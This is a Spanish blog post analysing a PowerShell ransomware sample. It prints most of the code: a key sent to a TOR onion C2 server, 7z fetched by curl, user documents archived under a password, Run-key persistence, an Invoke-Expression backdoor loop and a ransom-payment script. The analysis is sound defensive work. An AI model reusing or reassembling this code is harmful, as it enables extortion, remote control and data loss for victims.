Xavier Mertens (@xme) "pescó" un sencillo pero interesante ransomware en Powershell que usa 7z para "secuestrar" los archivos de la víctima y, curiosamente, no es detectado por ningún AV en VirusTotal:
1 |
function compress($Pass) |
El script comienza generando algunos datos basados en el host: un UUID y una contraseña aleatoria:
function getUUID
{
$raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
$UUID = $raw.split('-')[4];
return $UUID;
}
function makePass
{
$alph=@();
65..90|foreach-object{$alph+=[char]$_};
$num=@();
48..57|foreach-object{$num+=[char]$_};
$res = $num + $alph | Sort-Object {Get-Random};
$res = $res -join '';
return $res;
}
El ransomware se comunica con el servidor de C2 a través de TOR.
El cliente TOR no estaba incluido en este script de PowerShell, ¿tal vez en un segundo script?
Nota: Se espera que TOR se inicie desde un directorio ".home":
cd $env:USERPROFILE;
Start-Process -windowstyle hidden -FilePath .home\Tor\tor.exe;
El servidor C2 se encuentra en esta dirección de Onion: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.
El ransomware envía el UUID y la contraseña generados al C2:
UUID = getUUID;La respuesta esperada es un simple "OK" que activará el proceso de cifrado de archivos. La lista de extensiones de archivo de destino es bastante pequeña y la ruta de búsqueda está restringida al directorio de inicio del usuario.
$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;
function makeFileList
{
$files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
$List = $files -split '\r';
return $List;
}
$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;
La forma en que se cifran los archivos es un enfoque interesante. En lugar de cifrar todos los archivos uno por uno, crea un gran archivo cifrado 7Z que contiene todos los archivos de destino.
function compress($Pass)
{
$tmp = $env:TEMP;
$s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
$link_7zdll = $s + '7z.dll';
$link_7zexe = $s + '7z.exe';
$7zdll = '"'+$tmp+'\7z.dll"';
$7zexe = '"'+$tmp+'\7z.exe"';
cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
$argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';
$argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
$argPass = '-p' + $Pass;
Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}
Una vez que los archivos se empaquetan, los scripts se dumpean en el sistema de archivos:
function setup
{
$tmp = $env:TEMP;
$usr = $env:USERPROFILE;
$cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
$cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';
$10d2d = $tmp +'\10d2d\10d2d.ps1';
$10d2e = $usr +'\Desktop\10d2e.ps1';
New-Item -ItemType Directory -Force -Path $tmp'\10d2d';
Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1';
}
El primer script ("10d2d.ps1") implementa persistencia:
$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP\10d2d; powershell -ep bypass .\10d2d.ps1';
New-ItemProperty -Path HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -Name 1s0tda2rdt -Value $onStart -Force;
Luego implementa un backdoor esperando comandos del C2:
$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
while($true)
{
cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
$jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split '\n';
if(($jobCall[0] -replace ' ', '') -eq $UUID)
{
cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
try
{
$returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace '\r\n', '\r\n';
}
catch
{
$returnCont = $_ -replace '\r\n', '\r\n';
}
$curPath = (cmd /c cd | Out-String) -replace '\r\n', '\r\n';
$returnCont = ('From UUID - {0} {1}\r\n{2}\r\n' -f $UUID, ('_'*75), $curPath) + $returnCont;
cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';
}
Start-Sleep -Seconds 5;
}
El segundo script ("10d2e.ps1") contiene el código para indicar al usuario la nota del rescate (que no es muy caro: $20):
function pay($UUID)
{
$msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
$get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
$msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
$get2 = Read-Host($get2);
$msg4 = 'Loading again...'; $msg4;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
$result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;
if($result[0] -ieq 'C')
{
$msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
Set-Content -Path $env:USERPROFILE\Desktop\passc0de.txt -Value $result;
}
}
La interacción con el usuario tiene esta pinta:
Tened en cuenta que el usuario debe invocar este segundo script como se indica en la notificación: